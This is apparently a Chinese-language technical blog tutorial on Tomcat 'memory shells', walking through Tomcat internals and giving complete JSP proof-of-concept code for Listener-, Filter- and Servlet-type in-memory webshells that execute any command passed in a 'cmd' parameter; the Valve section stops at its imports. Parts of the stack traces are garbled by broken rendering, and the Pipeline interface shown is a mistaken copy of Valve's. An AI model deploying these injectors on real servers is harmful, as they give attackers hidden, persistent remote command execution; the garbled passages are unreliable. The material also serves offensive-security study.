Tomcat内存马

Tomcat内存马

前言

描述Servlet3.0后允许动态注册组件

这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。

而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。为了便于调试Tomcat,我们先在父项目的pom文件中引入Tomcat依赖

<dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>9.0.55</version>
</dependency>

关键在于 JSP->可识别类(恶意类)

所以需要看写在java文件中被系统调用时的堆栈过程,利用jsp技术把这个注册过程写入jsp,在访问jsp之后就会执行这个逻辑以此注入内存马

问题1:
注入内存马之后是访问就会触发动态注册的动作还是注入就自动执行动态注册的动作?访问后生效

Listener型内存马

Servlet有三种监听器:

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

这三种最合适的莫过于ServletRequestListener,只要访问Servlet的任何资源都会触发这个监听器

创建Listener:

package org.example.demo;

import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.io.IOException;

@WebListener
public class ServletListener implements ServletRequestListener {
    @Override
    public void requestDestroyed (ServletRequestEvent sre) {
        System.out.println("requestDestroyed");
    }

    @Override
    public void requestInitialized (ServletRequestEvent sre) {
        ServletRequest servletRequest = sre.getServletRequest();
        String cmd = servletRequest.getParameter("cmd");
        if(cmd != null){
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
    }
}

验证:

image

调用堆栈如下:

requestInitialized:13, Shell_Listener (org.example.demo)
fireRequestInitEvent:5638, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:670, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:390, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:928, AbstractProtocol
     
     
      
       
        
        
          C 
         
        
          o 
         
        
          n 
         
        
          n 
         
        
          e 
         
        
          c 
         
        
          t 
         
        
          i 
         
        
          o 
         
        
          n 
         
        
          H 
         
        
          a 
         
        
          n 
         
        
          d 
         
        
          l 
         
        
          e 
         
        
          r 
         
        
          ( 
         
        
          o 
         
        
          r 
         
        
          g 
         
        
          . 
         
        
          a 
         
        
          p 
         
        
          a 
         
        
          c 
         
        
          h 
         
        
          e 
         
        
          . 
         
        
          c 
         
        
          o 
         
        
          y 
         
        
          o 
         
        
          t 
         
        
          e 
         
        
          ) 
         
        
          d 
         
        
          o 
         
        
          R 
         
        
          u 
         
        
          n 
         
        
          : 
         
        
          1794 
         
        
          , 
         
        
          N 
         
        
          i 
         
        
          o 
         
        
          E 
         
        
          n 
         
        
          d 
         
        
          p 
         
        
          o 
         
        
          i 
         
        
          n 
         
        
          t 
         
        
       
         ConnectionHandler (org.apache.coyote) doRun:1794, NioEndpoint 
        
      
     
     ConnectionHandler(org.apache.coyote)doRun:1794,NioEndpointSocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor
     
     
      
       
        
        
          W 
         
        
          o 
         
        
          r 
         
        
          k 
         
        
          e 
         
        
          r 
         
        
          ( 
         
        
          o 
         
        
          r 
         
        
          g 
         
        
          . 
         
        
          a 
         
        
          p 
         
        
          a 
         
        
          c 
         
        
          h 
         
        
          e 
         
        
          . 
         
        
          t 
         
        
          o 
         
        
          m 
         
        
          c 
         
        
          a 
         
        
          t 
         
        
          . 
         
        
          u 
         
        
          t 
         
        
          i 
         
        
          l 
         
        
          . 
         
        
          t 
         
        
          h 
         
        
          r 
         
        
          e 
         
        
          a 
         
        
          d 
         
        
          s 
         
        
          ) 
         
        
          r 
         
        
          u 
         
        
          n 
         
        
          : 
         
        
          61 
         
        
          , 
         
        
          T 
         
        
          a 
         
        
          s 
         
        
          k 
         
        
          T 
         
        
          h 
         
        
          r 
         
        
          e 
         
        
          a 
         
        
          d 
         
        
       
         Worker (org.apache.tomcat.util.threads) run:61, TaskThread 
        
      
     
     Worker(org.apache.tomcat.util.threads)run:61,TaskThreadWrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

调用Listener的关键步骤fireRequestInitEvent:5638, StandardContext (org.apache.catalina.core)

跟进看函数逻辑:

    public boolean fireRequestInitEvent(ServletRequest request) {
        Object instances[] = getApplicationEventListeners();
        if ((instances != null) && (instances.length > 0)) {
            ServletRequestEvent event =
                    new ServletRequestEvent(getServletContext(), request);
            for (Object instance : instances) {
                if (instance == null) {
                    continue;
                }
                if (!(instance instanceof ServletRequestListener)) {
                    continue;
                }
                ServletRequestListener listener = (ServletRequestListener) instance;
                try {
                    listener.requestInitialized(event);
                } catch (Throwable t) {
                    ExceptionUtils.handleThrowable(t);
                    getLogger().error(sm.getString(
                            "standardContext.requestListener.requestInit",
                            instance.getClass().getName()), t);
                    request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
                    return false;
                }
            }
        }
        return true;
    }

简单分析一下创建监听器的流程:

1.获取当前上下文的所有监听器
2.获取StandardContext上下文
3.创建监听器

image

所以利用jsp技术动态创建监听器也是一样的道理

第一步 添加监听器

首先就是添加监听器,跟进getApplicationEventListeners​函数

image

继续跟进applicationEventListenersList

image

image

发现这个属性就可以直接添加监听器了

跟进:

image

addApplicationEventListener​函数可以添加监听器,那么第一步就解决了

这里注意的就是这个StandardContext​类的,后面jsp的时候获取也是StandardContext​类,但是只有getServletContext​这个方法,所以获取他的父类Context,使用getContext​方法

第二步 获取ServletContext

invoke:116, StandardHostValve (org.apache.catalina.core)​这一步可以发现他获取servlet的方式:

image

恰好jsp也内置了request,所以这里也是可以利用

只需要反射利用Field获取即可

Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request requests = (Request) requestField.get(request);

这里回顾的时候有点太久没学反射了,把request.get(obj)和request.get(null)给搞混了

这里有两个例子(返回的结果都是Hello, qingfeng!​),运行一下就能会议起来了

例一[Field.get(null)]
package org.example.demo;

import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws IllegalAccessException {
        MyClass obj = new MyClass();

        // 获取 Class 对象
        Class<?> cls = obj.getClass();

        // 获取字段的值
        try {
            Field field = cls.getDeclaredField("myField"); // "myField" 是字段的名称
            field.setAccessible(true); // 设置为可访问,以便获取或设置私有字段的值

            // 获取字段的值
            Object value = field.get(null);
            System.out.println("字段的值:" + value);
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        }
    }
}

class MyClass {
    static String  myField = "Hello, qingfeng!";
}


例二[Field.get(obj)]
package org.example.demo;

import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws IllegalAccessException {
        MyClass obj = new MyClass();

        // 获取 Class 对象
        Class<?> cls = obj.getClass();

        // 获取字段的值
        try {
            Field field = cls.getDeclaredField("myField"); // "myField" 是字段的名称
            field.setAccessible(true); // 设置为可访问,以便获取或设置私有字段的值

            // 获取字段的值
            Object value = field.get(obj);
            System.out.println("字段的值:" + value);
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        }
    }
}

class MyClass {
    private String  myField = "Hello, qingfeng!";
}


POC:

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.annotation.WebListener" %>
<%!
    @WebListener
    public class ServletListener implements ServletRequestListener {
        @Override
        public void requestDestroyed (ServletRequestEvent sre) {
            System.out.println("requestDestroyed");
        }

        @Override
        public void requestInitialized (ServletRequestEvent sre) {
            ServletRequest servletRequest = sre.getServletRequest();
            String cmd = servletRequest.getParameter("cmd");
            if(cmd != null){
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
            }
        }
    }
%>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request requests = (Request) requestField.get(request);
    StandardContext context = (StandardContext)requests.getContext();
    ServletListener servletListener = new ServletListener();
    context.addApplicationEventListener(servletListener);
%>

Filter型内存马

Filter是链式调用执行的,Filter会在访问不Web资源之前被执行,而且定义Filter时可以根据访问的路径来设置,相对来说更灵活。

首先同理创建一个Java文件写Filter型内存马:

package org.example.demo;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/*")
public class ServletFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        Filter.super.init(filterConfig);
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if(cmd != null){
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        chain.doFilter(request, response);
    }

    @Override
    public void destroy() {
        Filter.super.destroy();
    }
}

记得要加chain.doFilter(request, response);​不然后面都被阻塞了

image

在cmd下断点看堆栈情况:

doFilter:17, ServletFilter (org.example.demo)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:481, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:670, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:390, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:928, AbstractProtocol
     
     
      
       
        
        
          C 
         
        
          o 
         
        
          n 
         
        
          n 
         
        
          e 
         
        
          c 
         
        
          t 
         
        
          i 
         
        
          o 
         
        
          n 
         
        
          H 
         
        
          a 
         
        
          n 
         
        
          d 
         
        
          l 
         
        
          e 
         
        
          r 
         
        
          ( 
         
        
          o 
         
        
          r 
         
        
          g 
         
        
          . 
         
        
          a 
         
        
          p 
         
        
          a 
         
        
          c 
         
        
          h 
         
        
          e 
         
        
          . 
         
        
          c 
         
        
          o 
         
        
          y 
         
        
          o 
         
        
          t 
         
        
          e 
         
        
          ) 
         
        
          d 
         
        
          o 
         
        
          R 
         
        
          u 
         
        
          n 
         
        
          : 
         
        
          1794 
         
        
          , 
         
        
          N 
         
        
          i 
         
        
          o 
         
        
          E 
         
        
          n 
         
        
          d 
         
        
          p 
         
        
          o 
         
        
          i 
         
        
          n 
         
        
          t 
         
        
       
         ConnectionHandler (org.apache.coyote) doRun:1794, NioEndpoint 
        
      
     
     ConnectionHandler(org.apache.coyote)doRun:1794,NioEndpointSocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor
     
     
      
       
        
        
          W 
         
        
          o 
         
        
          r 
         
        
          k 
         
        
          e 
         
        
          r 
         
        
          ( 
         
        
          o 
         
        
          r 
         
        
          g 
         
        
          . 
         
        
          a 
         
        
          p 
         
        
          a 
         
        
          c 
         
        
          h 
         
        
          e 
         
        
          . 
         
        
          t 
         
        
          o 
         
        
          m 
         
        
          c 
         
        
          a 
         
        
          t 
         
        
          . 
         
        
          u 
         
        
          t 
         
        
          i 
         
        
          l 
         
        
          . 
         
        
          t 
         
        
          h 
         
        
          r 
         
        
          e 
         
        
          a 
         
        
          d 
         
        
          s 
         
        
          ) 
         
        
          r 
         
        
          u 
         
        
          n 
         
        
          : 
         
        
          61 
         
        
          , 
         
        
          T 
         
        
          a 
         
        
          s 
         
        
          k 
         
        
          T 
         
        
          h 
         
        
          r 
         
        
          e 
         
        
          a 
         
        
          d 
         
        
       
         Worker (org.apache.tomcat.util.threads) run:61, TaskThread 
        
      
     
     Worker(org.apache.tomcat.util.threads)run:61,TaskThreadWrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

和Listener同理,我们直接定位关键步骤internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)

private void internalDoFilter(ServletRequest request,
                                  ServletResponse response)
        throws IOException, ServletException {

        // Call the next filter if there is one
        if (pos < n) {
            ApplicationFilterConfig filterConfig = filters[pos++];
            try {
                Filter filter = filterConfig.getFilter();

                if (request.isAsyncSupported() && "false".equalsIgnoreCase(
                        filterConfig.getFilterDef().getAsyncSupported())) {
                    request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
                }
                if( Globals.IS_SECURITY_ENABLED ) {
                    final ServletRequest req = request;
                    final ServletResponse res = response;
                    Principal principal =
                        ((HttpServletRequest) req).getUserPrincipal();

                    Object[] args = new Object[]{req, res, this};
                    SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
                } else {
                    filter.doFilter(request, response, this);
                }
            } catch (IOException | ServletException | RuntimeException e) {
                throw e;
            } catch (Throwable e) {
                e = ExceptionUtils.unwrapInvocationTargetException(e);
                ExceptionUtils.handleThrowable(e);
                throw new ServletException(sm.getString("filterChain.filter"), e);
            }
            return;
        }

        // We fell off the end of the chain -- call the servlet instance
        try {
            if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
                lastServicedRequest.set(request);
                lastServicedResponse.set(response);
            }

            if (request.isAsyncSupported() && !servletSupportsAsync) {
                request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
                        Boolean.FALSE);
            }
            // Use potentially wrapped request from this point
            if ((request instanceof HttpServletRequest) &&
                    (response instanceof HttpServletResponse) &&
                    Globals.IS_SECURITY_ENABLED ) {
                final ServletRequest req = request;
                final ServletResponse res = response;
                Principal principal =
                    ((HttpServletRequest) req).getUserPrincipal();
                Object[] args = new Object[]{req, res};
                SecurityUtil.doAsPrivilege("service",
                                           servlet,
                                           classTypeUsedInService,
                                           args,
                                           principal);
            } else {
                servlet.service(request, response);
            }
        } catch (IOException | ServletException | RuntimeException e) {
            throw e;
        } catch (Throwable e) {
            e = ExceptionUtils.unwrapInvocationTargetException(e);
            ExceptionUtils.handleThrowable(e);
            throw new ServletException(sm.getString("filterChain.servlet"), e);
        } finally {
            if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
                lastServicedRequest.set(null);
                lastServicedResponse.set(null);
            }
        }
    }

Filter的流程相对Listener来说更麻烦,StandardContext并没有类似addFilter的方法,上面我们也提到了Filter是链式调用,所以接受的是一个FilterMap,还需要利用FilterMap把我们的恶意类包装起来。

首先找到filters属性的定义看他的类型:

image

需要一个ApplicationFilterConfig类​,往上一步看是如何创建ApplicationFilterConfig类的

image

ApplicationFilterFactory​的createFilterChain​方法创建了ApplicationFilterChain​类,跟进createFilterChain​看一下:

public static ApplicationFilterChain createFilterChain(ServletRequest request,
            Wrapper wrapper, Servlet servlet) {
        // If there is no servlet to execute, return null
        if (servlet \=\= null) {
            return null;
        }
        // Create and initialize a filter chain object
        ApplicationFilterChain filterChain \= null;
        if (request instanceof Request) {
            Request req \= (Request) request;
            if (Globals.IS\_SECURITY\_ENABLED) {
                // Security: Do not recycle
                filterChain \= new ApplicationFilterChain();
            } else {
                filterChain \= (ApplicationFilterChain) req.getFilterChain();
                if (filterChain \=\= null) {
                    filterChain \= new ApplicationFilterChain();
                    req.setFilterChain(filterChain);
                }
            }
        } else {
            // Request dispatcher in use
            filterChain \= new ApplicationFilterChain();
        }
        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
        // Acquire the filter mappings for this Context
        StandardContext context \= (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] \= context.findFilterMaps();
        // If there are no filter mappings, we are done
        if ((filterMaps \=\= null) || (filterMaps.length \=\= 0)) {
            return filterChain;
        }
        // Acquire the information we will need to match filter mappings
        DispatcherType dispatcher \=
                (DispatcherType) request.getAttribute(Globals.DISPATCHER\_TYPE\_ATTR);
        String requestPath \= null;
        Object attribute \= request.getAttribute(Globals.DISPATCHER\_REQUEST\_PATH\_ATTR);
        if (attribute !\= null){
            requestPath \= attribute.toString();
        }
        String servletName \= wrapper.getName();
        // Add the relevant path-mapped filters to this filter chain
        for (FilterMap filterMap : filterMaps) {
            if (!matchDispatcher(filterMap, dispatcher)) {
                continue;
            }
            if (!matchFiltersURL(filterMap, requestPath)) {
                continue;
            }
            ApplicationFilterConfig filterConfig \= (ApplicationFilterConfig)
                    context.findFilterConfig(filterMap.getFilterName());
            if (filterConfig \=\= null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }
        // Add filters that match on servlet name second
        for (FilterMap filterMap : filterMaps) {
            if (!matchDispatcher(filterMap, dispatcher)) {
                continue;
            }
            if (!matchFiltersServlet(filterMap, servletName)) {
                continue;
            }
            ApplicationFilterConfig filterConfig \= (ApplicationFilterConfig)
                    context.findFilterConfig(filterMap.getFilterName());
            if (filterConfig \=\= null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }
        // Return the completed filter chain
        return filterChain;
    }

简化一下逻辑就是这样:

1.	filterChain = new ApplicationFilterChain();	创建一个ApplictionFilterChain对象
2.	StandardContext context = (StandardContext) wrapper.getParent();	获取当前进程Context
3.	FilterMap filterMaps[] = context.findFilterMaps();  通过Context获取所有过滤器
4.	ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());	获取filterConfig
5.	filterChain.addFilter(filterConfig); 添加过滤器

一个小知识:一个filterConfig​对应一个filter,但是一个filter可以有多个filterConfig

这里需要了解一下FilterMap和FilterConfig

image

filterMap主要存储的是urlPatterns和filterName这些信息

恰好对应配置的这些标签:

<filter-mapping>
    <filter-name></filter-name>
    <url-pattern></url-pattern>
</filter-mapping>

filterConfig存储的是filterDef,filterDef下有filterClass和filterName这些信息

image

filterDef这两项配置对应的恰好就说注册表里面的配置:

<filter>
    <filter-name></filter-name>
    <filter-class></filter-class>
</filter>

因此构造恶意的Filter就需要注册这些信息才能使得Filter生效

1.	filterChain = new ApplicationFilterChain();	创建一个ApplictionFilterChain对象
2.	StandardContext context = (StandardContext) wrapper.getParent();	获取当前进程Context
3.	FilterMap filterMaps[] = context.findFilterMaps();  通过Context获取所有过滤器
4.	ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());	获取filterConfig
5.	filterChain.addFilter(filterConfig); 添加过滤器

第一步 获取ServletContext

其实第一步是和上面原生的一样创建ApplicationFilterChain对象,但是创建ApplicationFilterChain对象需要反射获取他的Context。所以第一步还是需要从request获取StandardContext

    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request requestImp = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext)requestImp.getContext();

还有另一种获取StandardContext的方式,Tomcat启动会为每个环境创建Session、Cookie等信息,都由StandardContext控制

所以可以利用request.getSession().getServletContext()​获取,但是request.getSession().getServletContext()​只是得到了ApplicationContext,还需要再反射一次才能获取StandardContext,比较麻烦,如下图所示

image

第二步 设置FilterDef

    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("ServletFilter");
    filterDef.setFilterClass(servletFilter.getClass().getName());
    filterDef.setFilter(servletFilter);
    standardContext.addFilterDef(filterDef);

第三步 设置FilterMap

    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName(servletFilter.getClass().getName());
    filterMap.addURLPattern("/*");
    filterMap.setDispatcher(DispatcherType.REQUEST.name()); //调度器类型设置为处理客户端请求
    standardContext.addFilterMap(filterMap);

DispatcherType​ 是一个枚举类型,它定义了 Servlet 中的请求调度器类型。在这里.REQUEST​ 表示该过滤器将被调度处理来自客户端的请求

第四步 包装FilterDef和FilterConfig

    Constructor<ApplicationFilterConfig> applicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    applicationFilterConfigConstructor.setAccessible(true);
    ApplicationFilterConfig applicationFilterConfig = applicationFilterConfigConstructor.newInstance(standardContext, filterDef);

    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);
    filterConfigs.put("ServletFilter", applicationFilterConfig);

这一步的关键代码看StandardContext的filterStart​方法的16,17,18三行:

public boolean filterStart() {

        if (getLogger().isDebugEnabled()) {
            getLogger().debug("Starting filters");
        }
        // Instantiate and record a FilterConfig for each defined filter
        boolean ok = true;
        synchronized (filterConfigs) {
            filterConfigs.clear();
            for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
                String name = entry.getKey();
                if (getLogger().isDebugEnabled()) {
                    getLogger().debug(" Starting filter '" + name + "'");
                }
                try {
                    ApplicationFilterConfig filterConfig =
                            new ApplicationFilterConfig(this, entry.getValue());
                    filterConfigs.put(name, filterConfig);
                } catch (Throwable t) {
                    t = ExceptionUtils.unwrapInvocationTargetException(t);
                    ExceptionUtils.handleThrowable(t);
                    getLogger().error(sm.getString(
                            "standardContext.filterStart", name), t);
                    ok = false;
                }
            }
        }

        return ok;
    }

POC

<%@ page import="javax.servlet.annotation.WebFilter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Map" %>

<%!
    @WebFilter("/*")
    public class ServletFilter implements Filter {

        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            Filter.super.init(filterConfig);
        }

        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if(cmd != null){
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
            }
            chain.doFilter(request, response);
        }

        @Override
        public void destroy() {
            Filter.super.destroy();
        }
    }
%>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request requestImp = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext)requestImp.getContext();

    ServletFilter servletFilter = new ServletFilter();

    //FilterDef
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("ServletFilter");
    filterDef.setFilterClass(servletFilter.getClass().getName());
    filterDef.setFilter(servletFilter);
    standardContext.addFilterDef(filterDef);

    //FilterMap
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("ServletFilter");
    filterMap.addURLPattern("/*");
    filterMap.setDispatcher(DispatcherType.REQUEST.name()); //调度器类型设置为处理客户端请求
    standardContext.addFilterMapBefore(filterMap);

    //FilterConfig
    Constructor<ApplicationFilterConfig> applicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    applicationFilterConfigConstructor.setAccessible(true);
    ApplicationFilterConfig applicationFilterConfig = applicationFilterConfigConstructor.newInstance(standardContext, filterDef);

    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);
    filterConfigs.put("ServletFilter", applicationFilterConfig);
%>

Servlet型内存马

Servlet是最晚被调用的,调用顺序为Listener->Filter->Servlet

servlet分为四个阶段

1.init(),初始阶段,只被调用一次,也是第一次创建Servlet时被调用
2.service(),服务阶段。处理客户请求,doGet(),doPost()等
3.doGet(),doPost()处理阶段
4.destory(),销毁阶段

构造一个恶意类

package org.example.demo;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/ServletShell")
public class ServletServlet implements Servlet {
    @Override
    public void init(ServletConfig config) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

image

这次查看堆栈信息是看不到创建Servlet的过程的,只能从头开始分析了,下图参考https://blog.csdn.net/u010883443/article/details/107463782的一张图片

image

我们重点关注web.xmlwebConfig解析的下一步,xml赋值对象configureContext,定位org.apache.catalina.startup​的ContextConfig​类的configureContext(WebXml webxml)​方法:

    private void configureContext(WebXml webxml) {
        // As far as possible, process in alphabetical order so it is easy to
        // check everything is present
        // Some validation depends on correct public ID
        //
		/*
		.......
		加载xml文件
			Wrapper wrapper = context.createWrapper();
		*/
		//
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
            wrapper.setServletClass(servlet.getServletClass());
        /*
		简化代码
		*/
            context.addChild(wrapper);
        }
        for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }
        SessionConfig sessionConfig = webxml.getSessionConfig();
        if (sessionConfig != null) {
            if (sessionConfig.getSessionTimeout() != null) {
                context.setSessionTimeout(
                        sessionConfig.getSessionTimeout().intValue());
            }
            SessionCookieConfig scc =
                context.getServletContext().getSessionCookieConfig();
            scc.setName(sessionConfig.getCookieName());
            scc.setDomain(sessionConfig.getCookieDomain());
            scc.setPath(sessionConfig.getCookiePath());
            scc.setComment(sessionConfig.getCookieComment());
            if (sessionConfig.getCookieHttpOnly() != null) {
                scc.setHttpOnly(sessionConfig.getCookieHttpOnly().booleanValue());
            }
            if (sessionConfig.getCookieSecure() != null) {
                scc.setSecure(sessionConfig.getCookieSecure().booleanValue());
            }
            if (sessionConfig.getCookieMaxAge() != null) {
                scc.setMaxAge(sessionConfig.getCookieMaxAge().intValue());
            }
            if (sessionConfig.getSessionTrackingModes().size() > 0) {
                context.getServletContext().setSessionTrackingModes(
                        sessionConfig.getSessionTrackingModes());
            }
        }

        // Context doesn't use version directly
		// ....
    }

这里面可以提取出几个关键代码:

Wrapper wrapper = context.createWrapper();
wrapper.setName(servlet.getServletName());
wrapper.setServletClass(servlet.getServletClass());
context.addChild(wrapper);
context.addServletMappingDecoded(entry.getKey(), entry.getValue());

这个就是注册Servlet的关键流程

写JSP文件注册即可

POC

<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>


<%!
    @WebServlet(name = "ServletServlet", value = "/ServletServlet")
    public class ServletServlet extends HttpServlet {
        @Override
        public void init(ServletConfig config) throws ServletException {

        }

        @Override
        public ServletConfig getServletConfig() {
            return null;
        }

        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            Runtime.getRuntime().exec(cmd);
        }

        @Override
        public String getServletInfo() {
            return null;
        }

        @Override
        public void destroy() {

        }
    }
%>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request requestImp = (Request) requestField.get(request);
    StandardContext context = (StandardContext) requestImp.getContext();

    Wrapper wrapper = context.createWrapper();
    wrapper.setName("ServletServlet");
    wrapper.setServletClass(ServletServlet.class.getName());
    wrapper.setServlet(new ServletServlet());
    context.addChild(wrapper);
    context.addServletMappingDecoded("/ServletServlet", "ServletServlet");
%>

首先要访问这个jsp文件触发构造内存马,之后访问/ServletServlet即可触发:

image

缺点就说必须访问对应的路径,不利于隐藏

valve型内存马

Tomcat有四大组件,分别是Engine​,Host​,Context​,Wrapper​。这四个之间的消息传递与沟通离不开Valve(阀门)​与Pipeline(管道)

Valve的接口如下:

public interface Valve {
    public Valve getNext();
    public void setNext(Valve valve);
    public void backgroundProcess();
    public void invoke(Request request, Response response)
        throws IOException, ServletException;
    public boolean isAsyncSupported();
}

简单点理解就是在Tomcat的调用过程中肯定会调用到Valve.invoke,只要我们实现这个接口并且在Valve构造恶意代码就可以达到RCE的目的

但是需要讲构造的恶意Valve实现类加入到调用链中,这就需要用到Pipeline​,其接口如下:

public interface Valve {
    public Valve getNext();
    public void setNext(Valve valve);
    public void backgroundProcess();
    public void invoke(Request request, Response response)
        throws IOException, ServletException;
    public boolean isAsyncSupported();
}

使用Pipeline​时需要注意两个点

1.pipeline添加恶意类实现RCE
2.调用getNext()使得整条链子不会断,否则虽然可以执行命令但系统会出错

POC

<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
